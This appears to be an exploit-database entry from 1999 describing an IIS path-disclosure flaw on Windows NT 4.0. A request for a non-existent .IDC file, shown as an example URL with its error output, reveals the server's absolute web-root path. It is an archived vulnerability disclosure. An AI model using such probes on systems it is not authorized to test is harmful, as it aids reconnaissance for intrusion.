Microsoft IIS (Windows NT 4.0/SP1/SP2/SP3/SP4/SP5) - '.IDC' Path Mapping

Author: Scott Danahy
type: remote
platform: windows
port: 0
date_added: 1999-06-04
date_updated: 2017-03-31
verified: 1
codes: OSVDB-83386
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/299/info

The full physical path name for the IIS web server root directory may be obtained by attempting to view a non-existent .IDC file. The web server will return an error message that lists the absolute pathname of the "missing" .IDC file.

"http://www.someURL.com/hackme.idc"

will return:

Error Performing Query
Error processing file 'c:\inetpub\scripts\samples\hackme.idc'